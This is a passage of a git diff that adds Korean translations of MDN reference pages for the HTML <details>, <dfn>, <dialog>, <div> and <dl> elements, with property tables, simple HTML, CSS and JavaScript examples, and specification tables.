+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-details-element', '&lt;details&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '&lt;details&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.details")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/dfn/index.html b/files/ko/web/html/element/dfn/index.html
new file mode 100644
index 0000000000..fd4069a35e
--- /dev/null
+++ b/files/ko/web/html/element/dfn/index.html
@@ -0,0 +1,196 @@
+---
+title: '<dfn>: 정의 요소'
+slug: Web/HTML/Element/dfn
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/dfn
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;dfn&gt;</code> 요소</strong>는 현재 맥락이나 문장에서 정의하고 있는 용어를 나타냅니다.</span> <code>&lt;dfn&gt;</code>에서 가장 가까운 {{htmlelement("p")}}, {{htmlelement("dt")}}/{{htmlelement("dd")}} 쌍, {{htmlelement("section")}} 조상 요소를 용어 정의로 간주합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dfn.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 {{htmlelement("dfn")}} 요소는 불가능.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{ARIARole("definition")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;dfn&gt;</code> 요소를 보는 것 만으로는 그다지 명확하지 않은 부분이 있습니다.</p>
+
+<h3 id="정의하고_있는_용어_지정하기">정의하고 있는 용어 지정하기</h3>
+
+<p>다음 규칙을 따라 현재 용어가 어느건지 판별합니다.</p>
+
+<ol>
+ <li><code>&lt;dfn&gt;</code> 요소가 {{htmlattrxref("title")}} 특성을 가지고 있으면 그 값을 현재 정의 중인 용어로 간주합니다. <code>&lt;dfn&gt;</code>은 여전히 텍스트 콘텐츠를 가지고 있겠지만, 완전한 용어 대신 준말({{htmlelement("abbr")}})을 넣을 수도 있고, 다른 대체 형태일 수도 있습니다.</li>
+ <li><code>&lt;dfn&gt;</code>이 다른 텍스트는 없이 하나의 자식만 가지는데, 그 자식이 <code>title</code> 특성을 가진{{htmlelement("abbr")}}인 경우, 자식 <code>&lt;abbr&gt;</code>의 <code>title</code> 특성 값을 현재 용어로 간주합니다.</li>
+ <li>모두 아닌 경우 <code>&lt;dfn&gt;</code>의 텍스트 콘텐츠를 현재 용어로 간주합니다. {{anch("기본적인 용어 식별", "아래의 첫 번째 예제")}}에서 확인할 수 있습니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;dfn&gt;</code> 요소가 <code>title</code> 특성을 가진 경우, 그 값은 정의 중인 용어여야 하며 다른 텍스트는 들어가선 안됩니다.</p>
+</div>
+
+<h3 id="&lt;dfn>_요소를_가리키는_링크"><code>&lt;dfn&gt;</code> 요소를 가리키는 링크</h3>
+
+<p><code>&lt;dfn&gt;</code> 요소에 {{htmlattrxref("id")}} 특성을 지정하면 {{HTMLElement("a")}} 요소로 <code>&lt;dfn&gt;</code>을 가리킬 수 있습니다. 사용자가 용어 뜻을 잘 모를 경우, 링크를 클릭해 빠르게 정의를 확인할 수 있습니다. 따라서 링크 콘텐츠는 용어의 사용 예시 등을 담고 있어야 합니다.</p>
+
+<p>{{anch("정의로 링크", "정의로 링크 예제")}}에서 확인할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다양한 상황의 예제를 살펴보겠습니다.</p>
+
+<h3 id="기본적인_용어_식별">기본적인 용어 식별</h3>
+
+<p>아래 코드는 간단하게 <code>&lt;dfn&gt;</code> 요소를 사용해, 정의 문단 내의 용어를 식별합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;strong&gt;HTML Definition element&lt;/strong&gt;
+(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) is used to indicate the
+term being defined within the context of a definition phrase or
+sentence.&lt;/p&gt;</pre>
+
+<p><code>&lt;dfn&gt;</code> 요소에 <code>title</code>이 없으므로 <code>&lt;dfn&gt;</code>의 텍스트 콘텐츠가 현재 정의 중인 용어입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본적인_용어_식별", 650, 120)}}</p>
+
+<h3 id="정의로_링크">정의로 링크</h3>
+
+<p>용어의 정의로 링크하는 건 {{htmlelement("a")}} 요소로 다른 링크를 만드는 방법과 같습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;strong&gt;HTML Definition element&lt;/strong&gt;
+(&lt;strong&gt;&lt;dfn id="definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) is
+used to indicate the term being defined within the context of a
+definition phrase or sentence.&lt;/p&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Graece
+donan, Latine voluptatem vocant. Confecta res esset. Duo Reges:
+constructio interrete. Scrupulum, inquam, abeunti; &lt;/p&gt;
+
+&lt;p&gt;Negare non possum. Dat enim intervalla et relaxat. Quonam modo?
+Equidem e Cn. Quid de Pythagora? In schola desinis. &lt;/p&gt;
+
+&lt;p&gt;Ubi ut eam caperet aut quando? Cur iustitia laudatur? Aperiendum
+est igitur, quid sit voluptas; Quid enim? Non est igitur voluptas
+bonum. Urgent tamen et nihil remittunt. Quid enim possumus hoc
+agere divinius? &lt;/p&gt;
+
+&lt;p&gt;Because of all of that, we decided to use the
+&lt;code&gt;&lt;a href="#definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/a&gt;&lt;/code&gt; element for
+this project.&lt;/p&gt;</pre>
+
+<p>이번에는 {{htmlattrxref("id")}} 특성에 <code>"definition-dfn"</code>을 사용한 용어 정의입니다. 코드 뒤쪽에서는 <code>&lt;a&gt;</code> 태그와 {{htmlattrxref("href", "a")}} 특성 값 <code>"#definition-dfn"</code>으로, 정의를 가리키는 링크를 생성합니다.</p>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("정의로_링크", 650, 300)}}</p>
+
+<h3 id="준말과_정의_같이_사용하기">준말과 정의 같이 사용하기</h3>
+
+<p>어떤 경우, 용어를 정의할 때 머리글자 등 준말을 사용하고 싶을 때가 있습니다. 그럴 땐 <code>&lt;dfn&gt;</code>과 {{HTMLElement("abbr")}} 요소를 조합하면 됩니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;dfn&gt;&lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt;&lt;/dfn&gt;
+is among the most productive scientific instruments ever constructed.
+It has been in orbit for over 20 years, scanning the sky and
+returning data and photographs of unprecedented quality and
+detail.&lt;/p&gt;
+
+&lt;p&gt;Indeed, the &lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt; has
+arguably done more to advance science than any device ever built.&lt;/p&gt;</pre>
+
+<p><code>&lt;dfn&gt;</code> 요소 안에 배치한 <code>&lt;abbr&gt;</code>을 주목하세요. <code>&lt;abbr&gt;</code>은 준말("HST")과 함께 <code>title</code> 특성으로 전체 용어("Hubble Space Telescope")를 지정합니다. <code>&lt;dfn&gt;</code>은 <code>&lt;abbr&gt;</code>의 준말을 현재 정의하고 있음을 나타냅니다.</p>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("준말과_정의_같이_사용하기", 650, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;dfn&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.dfn")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>용어 정의 관련 요소: {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, {{HTMLElement("dd")}}</li>
+ <li>{{HTMLElement("abbr")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/dialog/index.html b/files/ko/web/html/element/dialog/index.html
new file mode 100644
index 0000000000..d54f8e313f
--- /dev/null
+++ b/files/ko/web/html/element/dialog/index.html
@@ -0,0 +1,180 @@
+---
+title: '<dialog>: 대화 상자 요소'
+slug: Web/HTML/Element/dialog
+tags:
+ - Element
+ - HTML
+ - HTML interactive elements
+ - Reference
+ - Web
+ - polyfill
+ - 대화 상자
+translation_of: Web/HTML/Element/dialog
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dialog&gt;</code> 요소</strong>는 닫을 수 있는 경고, 검사기, 창 등 대화 상자 및 기타 다른 상호작용 가능한 컴포넌트를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/dialog_role"><code>dialog</code> </a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("alertdialog")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDialogElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<div class="blockIndicator warning">
+<p><code>tabindex</code> 특성을 <code>&lt;dialog&gt;</code> 요소에 사용해서는 안됩니다.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>대화 상자가 활성 상태이며 상호작용할 수 있음을 나타냅니다. <code>open</code> 특성이 없을 때 대화 상자가 사용자에게 보여서는 안됩니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li><code>method="dialog"</code> 특성을 사용한 {{htmlelement("form")}} 요소는 제출 시 대화 상자를 닫습니다. 이 때, 대화 상자의 {{domxref("HTMLDialogElement.returnValue", "returnValue")}} 속성은 양식을 제출할 때 사용한 버튼의 {{htmlattrxref("value", "button")}}으로 설정됩니다.</li>
+ <li>CSS {{cssxref('::backdrop')}} <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 사용하면, {{domxref("HTMLDialogElement.showModal()")}} 메서드를 사용해 활성화한 <code>&lt;dialog&gt;</code> 요소의 뒤에 스타일을 적용할 수 있습니다. 예를 들면, 모달 대화 상자가 활성화되어 있는 동안 접근할 수 없는 뒤쪽 요소를 어둡게 만들 때 사용합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;dialog open&gt;
+ &lt;p&gt;여러분 안녕하세요!&lt;/p&gt;
+&lt;/dialog&gt;
+</pre>
+
+<h3 id="고급_예제">고급 예제</h3>
+
+<p>다음 예제는 "상세정보 업데이트" 버튼을 클릭할 경우 양식을 포함한 팝업 대화 상자를 엽니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!-- 간단한 양식을 포함한 팝업 대화 상자 --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;p&gt;&lt;label&gt;좋아하는 동물:
+      &lt;select&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;아르테미아&lt;/option&gt;
+        &lt;option&gt;레서판다&lt;/option&gt;
+        &lt;option&gt;거미원숭이&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/label&gt;&lt;/p&gt;
+    &lt;menu&gt;
+      &lt;button value="cancel"&gt;취소&lt;/button&gt;
+      &lt;button id="confirmBtn" value="default"&gt;확인&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;상세정보 업데이트&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;output aria-live="polite"&gt;&lt;/output&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var updateButton = document.getElementById('updateDetails');
+var favDialog = document.getElementById('favDialog');
+var outputBox = document.getElementsByTagName('output')[0];
+var selectEl = document.getElementsByTagName('select')[0];
+var confirmBtn = document.getElementById('confirmBtn');
+
+// “Update details” button opens the &lt;dialog&gt; modally
+updateButton.addEventListener('click', function onOpen() {
+ if (typeof favDialog.showModal === "function") {
+ favDialog.showModal();
+ } else {
+ alert("The &lt;dialog&gt; API is not supported by this browser");
+ }
+});
+// "Favorite animal" input sets the value of the submit button
+selectEl.addEventListener('change', function onSelect(e) {
+ confirmBtn.value = selectEl.value;
+});
+// "Confirm" button of form triggers "close" on dialog because of [method="dialog"]
+favDialog.addEventListener('close', function onClose() {
+ outputBox.value = favDialog.returnValue + " button clicked - " + (new Date()).toString();
+});</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("고급_예제", "100%", 300)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 호환성 표는 구조화된 데이터에서 자동 생성되었습니다. 이 데이터에 참여를 원하시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 으로 이동하셔서 pull request를 하시면 됩니다.</div>
+
+<p>{{Compat("html.elements.dialog")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>지원하지 않는 브라우저에서 <code>&lt;dialog&gt;</code>를 사용하려면 <a href="https://github.com/GoogleChrome/dialog-polyfill">dialog-polyfill</a>을 추가하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("close")}} 이벤트</li>
+ <li>{{event("cancel")}} 이벤트</li>
+ <li>{{cssxref("::backdrop")}} 의사 요소</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 양식</a> 안내서</li>
+</ul>
diff --git a/files/ko/web/html/element/div/index.html b/files/ko/web/html/element/div/index.html
new file mode 100644
index 0000000000..3fd7ebd390
--- /dev/null
+++ b/files/ko/web/html/element/div/index.html
@@ -0,0 +1,147 @@
+---
+title: '<div>: 콘텐츠 분할 요소'
+slug: Web/HTML/Element/div
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - 'HTML:Flow content'
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;div&gt;</code> 요소</strong>는 플로우 콘텐츠를 위한 통용 컨테이너입니다. {{glossary("CSS")}}로 꾸미기 전에는 콘텐츠나 레이아웃에 어떤 영향도 주지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/div.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;div&gt;</code> 요소는 "순수" 컨테이너로서 아무것도 표현하지 않습니다. 대신 다른 요소 여럿을 묶어 {{htmlattrxref("class")}}나 {{htmlattrxref("id")}} 속성으로 꾸미기 쉽도록 돕거나, 문서의 특정 구역이 다른 언어임을 표시({{htmlattrxref("lang")}} 속성 사용)하는 등의 용도로 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.<br>
+ 또는 ({{glossary("WHATWG")}} HTML에서): 부모가 {{HTMLElement("dl")}} 요소라면: 하나 이상의 {{HTMLElement("dt")}} 요소, 이후 하나 이상의 {{HTMLElement("dd")}} 요소, 선택적으로 {{HTMLElement("script")}}와 {{HTMLElement("template")}} 요소 혼합 가능.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 아무 요소.<br>
+ 또는 ({{glossary("WHATWG")}} HTML에서) {{HTMLElement("dl")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDivElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제" name="예제">사용 일람</h2>
+
+<ul>
+ <li><code>&lt;div&gt;</code> 요소는 의미를 가진 다른 요소({{htmlelement("article")}}, {{htmlelement("nav")}} 등)가 적절하지 않을 때만 사용해야 합니다.</li>
+</ul>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;p&gt;어떤 콘텐츠든 좋습니다.
+ &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;같이 말이죠. 써보세요!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{ EmbedLiveSample('간단한_예제') }}</p>
+
+<h3 id="스타일_예제">스타일 예제</h3>
+
+<p>다음 예제는 CSS로 &lt;div&gt;에 그림자를 입힙니다. <code>&lt;div&gt;</code>의 {{htmlattrxref("class")}} 속성을 통해 <code>"shadowbox"</code> 스타일을 적용한 점에 주목하세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="notranslate">&lt;div class="shadowbox"&gt;
+ &lt;p&gt;Here's a very interesting note displayed in a
+ lovely shadowed box.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="notranslate">.shadowbox {
+ width: 15em;
+ border: 1px solid #333;
+ box-shadow: 8px 8px 5px #444;
+ padding: 8px 12px;
+ background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("스타일_예제", 650, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No changes since the latest snapshot</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Obsoleted <code>align</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>의미를 지닌 구획 요소: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>구문 콘텐츠를 꾸밀 때 사용하는 {{HTMLElement("span")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dl/index.html b/files/ko/web/html/element/dl/index.html
new file mode 100644
index 0000000000..13739239ed
--- /dev/null
+++ b/files/ko/web/html/element/dl/index.html
@@ -0,0 +1,223 @@
+---
+title: <dl>
+slug: Web/HTML/Element/dl
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/dl
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dl&gt;</code> 요소</strong>는 설명 목록을 나타냅니다. <code>&lt;dl&gt;</code>은 {{htmlelement("dt")}}로 표기한 용어와 {{htmlelement("dd")}} 요소로 표기한 설명 그룹의 목록을 감싸서 설명 목록을 생성합니다. 주로 용어사전 구현이나 메타데이터(키-값 쌍 목록)를 표시할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dl.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>. <code>&lt;dl&gt;</code>의 자식 중 이름-값 그룹이 있으면 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>
+ <p>하나 이상의 {{htmlelement("dt")}} 요소와 하나 이상의 {{htmlelement("dd")}} 요소로 구성한 그룹 0개 이상. 선택적으로 {{htmlelement("script")}}와 {{htmlelement("template")}}을 혼합 가능.<br>
+ 또는, 하나 이상의 {{htmlelement("div")}}. 선택적으로 {{htmlelement("script")}}, {{htmlelement("template")}} 혼합 가능.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLDListElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="하나의_용어와_하나의_정의">하나의 용어와 하나의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dd&gt;
+ Mozilla 재단과 수 백명의
+ 자원봉사자가 개발한 무료
+ 오픈소스 크로스 플랫폼
+ 그래픽 웹 브라우저.
+ &lt;/dd&gt;
+
+ &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("하나의_용어와_하나의_정의")}}</p>
+
+<h3 id="여러_개의_용어와_하나의_정의">여러 개의 용어와 하나의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+ &lt;dt&gt;Fx&lt;/dt&gt;
+ &lt;dd&gt;
+ Mozilla 재단과 수 백명의
+ 자원봉사자가 개발한 무료
+ 오픈소스 크로스 플랫폼
+ 그래픽 웹 브라우저.
+ &lt;/dd&gt;
+
+ &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("여러_개의_용어와_하나의_정의")}}</p>
+
+<h3 id="하나의_용어와_여러_개의_정의">하나의 용어와 여러 개의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dd&gt;
+ Mozilla 재단과 수 백명의
+ 자원봉사자가 개발한 무료
+ 오픈소스 크로스 플랫폼
+ 그래픽 웹 브라우저.
+ &lt;/dd&gt;
+ &lt;dd&gt;
+ 붉은 판다, 레서 판다, 랫서 판다,
+ 혹은 "Firefox"는 초식성 포유류이다.
+ 몸 길이는 애완용 고양이보다 약간
+ 큰 정도인 60cm다.
+ &lt;/dd&gt;
+
+ &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("하나의_용어와_여러_개의_정의")}}</p>
+
+<h3 id="여러_개의_용어와_여러_개의_정의">여러 개의 용어와 여러 개의 정의</h3>
+
